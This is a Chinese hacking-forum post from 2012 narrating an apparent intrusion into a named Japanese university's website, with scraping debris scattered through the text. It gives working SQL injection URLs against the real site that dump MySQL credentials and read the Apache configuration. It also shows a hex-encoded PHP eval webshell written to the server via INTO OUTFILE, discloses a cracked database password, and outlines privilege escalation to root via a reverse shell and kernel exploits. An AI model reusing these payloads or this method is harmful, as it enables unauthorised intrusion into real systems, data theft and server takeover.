找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2591|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析, B% n3 x3 J! t8 o/ Q( i; ~* m

5 |! y: J0 q: n' ]$ ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1: h9 K5 n3 ]2 h8 X- z
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
2 W* A/ F& B8 s4 |$ b; }7 B/ A
  I; X4 E# R1 L- a2 ~http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
; i+ @; D2 [. a' A2 p6 b
" _& f" I2 z0 o' w- U
% p& f) A. c8 x% z1 B% y( p/ t5 J9 L: p. C/ v3 x
//@@datadir为数据库文件路径
7 j/ W; D, i" _, m8 u7 n) \8 k / w. \( S3 z4 S. b* P" f5 R
, M0 i2 ~; O5 Y' ~# y
//load_file读取网站容器apache的配置文件 3 }- c) a! [: ~! O+ W* S' Y
3 S& k! V0 @! l  j1 p" m6 g
$ {( U3 Z) S! X" Y- n! E6 f' k  l) q
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
. V" l  H6 i# s5 m9 x复制代码" u) U- X5 o% V$ \0 I+ m0 Z: w# P

1 u" i0 d8 v4 T/ P8 A8 M; E) s虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
5 L- L1 H8 b( f2 f4 n  ^6 b; b3 }
% @, A$ y! |/ G而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。* |1 }3 h! _, }, `% ]
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)# O0 r" R: T, e) Z. ?+ s
5 K. U5 Y+ j0 m  I
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 d6 ^$ t* I  ]如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
& `5 E, Q" x$ V/ ?" l7 J) I
6 G- F6 a1 `0 c: V既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/& [: w2 g; A% h; e  j
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。" L; w" b5 c5 i% N
直接写一句话:8 I; i  v# v  c, ~) K

3 M- b3 C3 q1 O( i' Vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
: S# }' t+ m+ O, K$ T# G
0 x* O  _9 E6 V5 H ) x# ?+ P3 D1 F: @% }; G' F6 @
2 V/ p4 d1 f" P9 M# x
//最后的#是为了闭合前面的语句 ( B% P- [$ b$ D# r2 _- V. ?

  t$ x& o8 t0 P) G& z% I+ K& {' U) l- [
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ! C. ]0 G8 K0 m: k7 r
: X% h1 H; X, D/ R

7 S& C* Y4 ?  x为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 9 k' ~# @: S5 X: |1 H9 i# n
( [! u4 i  n# G1 U
# P) m- Y$ w' s+ @, Q
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
6 ^8 z! Q! U, q! ]# L  u : F$ y  I& G3 |9 o3 t  _% ?+ {

' z# P* ]  M- y* e; }//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 U( u% z+ [8 L4 ]( q2 Q5 t//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
2 P% M3 e8 A7 W: F! X/ O% f: r复制代码/ i, H8 |# c( g8 W$ V% C* f

5 i% [# S) R& `( hHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
- ~3 _6 [- K; P% p通过上述注入语句,我们就得到了一句话木马:
5 d7 x6 d6 I6 L
9 r5 v0 V! m. X) C' P3 T( D
" B6 c" m2 c; b: s0 y' `8 U
( X- D- |+ C  k# V
+ s" d! H6 ?$ H1 ?7 ~
6 z4 _3 Y' B. L# U& P0 ]# n1 t- |http://www.doshisha.ac.jp/english/engnews_img/aa.php ' V) L: t% z0 H" m( \+ v( d
复制代码
- s3 k" c2 X. e3 n4 U' ?2 N
! I' q, I% U' j" p8 x用菜刀连接,密码是cmd,如图所示:
7 A& \9 b" O& C6 C( S/ [+ T9 L然后在命令提示行里看了一下,现在的权限是:7 g2 O2 W8 H* f7 R! y) y8 x' l. G  Y
( d2 g. U; {7 H/ U7 w1 i5 M( X
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。7 I! i! P3 t; z6 n
好在赋权给这个文件夹不需要root,直接执行赋权语句:
' y: |8 G/ F$ }7 n" U8 f$ g; H$ ]: ?4 Y7 o) N

2 F( a& \3 m4 n$ G* P7 t& S( E8 @0 I4 m: Q5 o" t. d* x6 q' f& T4 e0 \
& C7 F: K$ _9 V  I% z4 N
4 Q2 Z% E; z) C" E& a4 Y
chmod +x /tmp/ 0 S: _2 P; M- I7 o; Z
复制代码" e$ K7 W: a3 e7 i5 ]3 a
9 V3 {% Z6 o0 n3 Z1 e# ~
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
: e( s9 a9 j/ R6 O7 h然后就查了一下内核版本:
) Q$ E7 }! _- K* a4 |
: _7 {( A1 h8 {7 ^
& o9 e! M: s& `- p
# s& H( X5 D( b& ~2 w
' M  O# E/ E( z
" P! a' @2 s( P. s4 Uuname-a , r7 {9 Q6 K( b
# N" P- K5 G, ]2 N- g
1 K) ?6 D' m9 |" W0 ?" O! o. j8 o5 w0 v
//其实lsb_release -a
) Y: Z5 t) d0 u% M5 h. L复制代码
% I0 u& Y$ L4 ~+ F  \& Y& L0 z& p  @% E8 ^% f
如图所示:4 Z# e& Q" z* t6 v/ u
' m+ p4 [7 J+ p6 A* K) G
内核版本:linux mainz1 2.6.28-194.e15" C5 U! s/ Q! `+ h. n
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)- y( H9 H  R: G8 U
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 q" E1 }3 M- X! n& O8 z. T3 v4 `& f2 l8 _* m+ J
然后给予执行权限2 p$ Y/ j5 y! z- r
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样% n" w8 E0 K) \4 ^; O, M% s# ^8 {
: Q' ^3 l# V- D0 a7 C

2 h6 \% n9 O. C( u* }6 c5 x
5 ?6 z5 J0 m2 k2 l9 E5 x0 W0 A
2 \8 M; U8 ^6 D. b% H
6 z& d0 a8 |4 o6 v" nchmod +x /tmp/2.6.18-194 + F7 r8 k1 G9 Z
复制代码 然后直接执行!~- r5 Z+ O7 u" W8 Y4 q7 `
" W( W; i5 M( m
总结:: r) b6 W6 ?+ j( ~& I; o5 |
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了9 ?$ ^0 H/ ?. Y1 a
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root, w6 k. N, C, E  ?( H: W" p0 Y

; k0 P! Y0 l6 c/ s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表